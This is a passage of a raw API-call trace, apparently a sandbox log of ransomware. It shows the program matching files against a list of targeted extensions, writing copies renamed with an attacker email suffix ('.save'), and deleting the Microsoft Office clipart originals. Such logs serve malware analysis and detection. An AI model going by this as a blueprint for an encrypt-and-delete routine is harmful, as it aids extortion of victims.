lpString2=".BMP") returned 1 [0167.387] lstrlenW (lpString=".bz2") returned 4 [0167.387] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0167.387] lstrlenW (lpString=".7z") returned 3 [0167.387] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.387] lstrlenW (lpString=".dbf") returned 4 [0167.387] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.387] lstrlenW (lpString=".1cd") returned 4 [0167.387] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.387] lstrlenW (lpString=".jpg") returned 4 [0167.387] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.387] lstrlenW (lpString=".doc") returned 4 [0167.387] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0167.387] lstrlenW (lpString=".docx") returned 5 [0167.387] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0167.388] lstrlenW (lpString=".pdf") returned 4 [0167.388] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString=".xls") returned 4 [0167.388] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString=".xlsx") returned 5 [0167.388] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0167.388] lstrlenW (lpString=".ppt") returned 4 [0167.388] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.388] lstrlenW (lpString=".zip") returned 4 [0167.388] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString=".rar") returned 4 [0167.388] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString=".bz2") returned 4 [0167.388] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString=".7z") returned 3 [0167.388] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0167.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.388] lstrlenW (lpString=".dbf") returned 4 [0167.388] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0167.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.388] lstrlenW (lpString=".1cd") returned 4 [0167.388] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0167.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68 [0167.388] lstrlenW (lpString=".jpg") returned 4 [0167.388] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0167.389] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.389] lstrlenW (lpString="J0102002.WMF") returned 12 [0167.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0167.507] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=15988) returned 1 [0167.508] CloseHandle (hObject=0x500) returned 1 [0167.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0167.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0167.509] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.509] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0167.511] GetLastError () returned 0x0 [0167.511] ReadFile (in: hFile=0x500, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0167.513] WriteFile (in: hFile=0x504, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0167.515] ReadFile (in: hFile=0x500, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.515] WriteFile (in: hFile=0x504, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.515] SetEndOfFile (hFile=0x504) returned 1 [0167.515] CloseHandle (hObject=0x504) returned 1 [0167.515] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.515] SetEndOfFile (hFile=0x500) returned 1 [0167.519] CloseHandle (hObject=0x500) returned 1 [0167.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.521] lstrlenW (lpString=".doc") returned 4 [0167.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString=".docx") returned 5 [0167.521] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.521] lstrlenW (lpString=".pdf") returned 4 [0167.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString=".xls") returned 4 [0167.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.521] lstrlenW (lpString=".xlsx") returned 5 [0167.521] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.521] lstrlenW (lpString=".ppt") returned 4 [0167.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.521] lstrlenW (lpString=".zip") returned 4 [0167.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.521] lstrlenW (lpString=".rar") returned 4 [0167.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString=".bz2") returned 4 [0167.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString=".7z") returned 3 [0167.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.522] lstrlenW (lpString=".dbf") returned 4 [0167.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.522] lstrlenW (lpString=".1cd") returned 4 [0167.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.522] lstrlenW (lpString=".jpg") returned 4 [0167.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.522] lstrlenW (lpString=".doc") returned 4 [0167.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString=".docx") returned 5 [0167.522] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.522] lstrlenW (lpString=".pdf") returned 4 [0167.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.522] lstrlenW (lpString=".xls") returned 4 [0167.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.522] lstrlenW (lpString=".xlsx") returned 5 [0167.522] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.523] lstrlenW (lpString=".ppt") returned 4 [0167.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.523] lstrlenW (lpString=".zip") returned 4 [0167.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.523] lstrlenW (lpString=".rar") returned 4 [0167.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.523] lstrlenW (lpString=".bz2") returned 4 [0167.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.523] lstrlenW (lpString=".7z") returned 3 [0167.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.523] lstrlenW (lpString=".dbf") returned 4 [0167.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.523] lstrlenW (lpString=".1cd") returned 4 [0167.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0167.523] lstrlenW (lpString=".jpg") returned 4 [0167.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.523] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.524] lstrlenW (lpString="J0102594.WMF") returned 12 [0167.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0167.525] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=27000) returned 1 [0167.525] CloseHandle (hObject=0x500) returned 1 [0167.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0167.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0167.526] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.526] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0167.527] GetLastError () returned 0x0 [0167.527] ReadFile (in: hFile=0x500, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x6978, lpOverlapped=0x0) returned 1 [0167.531] WriteFile (in: hFile=0x504, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x6980, lpOverlapped=0x0) returned 1 [0167.534] ReadFile (in: hFile=0x500, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.534] WriteFile (in: hFile=0x504, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.534] SetEndOfFile (hFile=0x504) returned 1 [0167.534] CloseHandle (hObject=0x504) returned 1 [0167.534] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.534] SetEndOfFile (hFile=0x500) returned 1 [0167.538] CloseHandle (hObject=0x500) returned 1 [0167.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0167.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0167.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.540] lstrlenW (lpString=".doc") returned 4 [0167.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.540] lstrlenW (lpString=".docx") returned 5 [0167.540] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.540] lstrlenW (lpString=".pdf") returned 4 [0167.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.540] lstrlenW (lpString=".xls") returned 4 [0167.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.540] lstrlenW (lpString=".xlsx") returned 5 [0167.540] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.540] lstrlenW (lpString=".ppt") returned 4 [0167.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.540] lstrlenW (lpString=".zip") returned 4 [0167.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.540] lstrlenW (lpString=".rar") returned 4 [0167.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.540] lstrlenW (lpString=".bz2") returned 4 [0167.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString=".7z") returned 3 [0167.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.541] lstrlenW (lpString=".dbf") returned 4 [0167.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.541] lstrlenW (lpString=".1cd") returned 4 [0167.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.541] lstrlenW (lpString=".jpg") returned 4 [0167.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.541] lstrlenW (lpString=".doc") returned 4 [0167.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString=".docx") returned 5 [0167.541] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.541] lstrlenW (lpString=".pdf") returned 4 [0167.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString=".xls") returned 4 [0167.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.541] lstrlenW (lpString=".xlsx") returned 5 [0167.541] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.542] lstrlenW (lpString=".ppt") returned 4 [0167.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.542] lstrlenW (lpString=".zip") returned 4 [0167.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.542] lstrlenW (lpString=".rar") returned 4 [0167.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString=".bz2") returned 4 [0167.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString=".7z") returned 3 [0167.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.542] lstrlenW (lpString=".dbf") returned 4 [0167.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.542] lstrlenW (lpString=".1cd") returned 4 [0167.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0167.542] lstrlenW (lpString=".jpg") returned 4 [0167.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.543] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0167.543] lstrlenW (lpString="J0102762.WMF") returned 12 [0167.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0167.846] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=11216) returned 1 [0167.846] CloseHandle (hObject=0x524) returned 1 [0167.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0168.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.311] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.311] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0168.312] GetLastError () returned 0x0 [0168.312] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0168.314] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0168.316] ReadFile (in: hFile=0x51c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.316] WriteFile (in: hFile=0x510, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.316] SetEndOfFile (hFile=0x510) returned 1 [0168.316] CloseHandle (hObject=0x510) returned 1 [0168.316] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.316] SetEndOfFile (hFile=0x51c) returned 1 [0168.319] CloseHandle (hObject=0x51c) returned 1 [0168.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.323] lstrlenW (lpString=".doc") returned 4 [0168.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.323] lstrlenW (lpString=".docx") returned 5 [0168.323] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.323] lstrlenW (lpString=".pdf") returned 4 [0168.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.323] lstrlenW (lpString=".xls") returned 4 [0168.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.323] lstrlenW (lpString=".xlsx") returned 5 [0168.323] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.323] lstrlenW (lpString=".ppt") returned 4 [0168.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.323] lstrlenW (lpString=".zip") returned 4 [0168.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.324] lstrlenW (lpString=".rar") returned 4 [0168.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.324] lstrlenW (lpString=".bz2") returned 4 [0168.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.324] lstrlenW (lpString=".7z") returned 3 [0168.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.324] lstrlenW (lpString=".dbf") returned 4 [0168.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0168.324] lstrlenW (lpString=".1cd") returned 4 [0168.324] 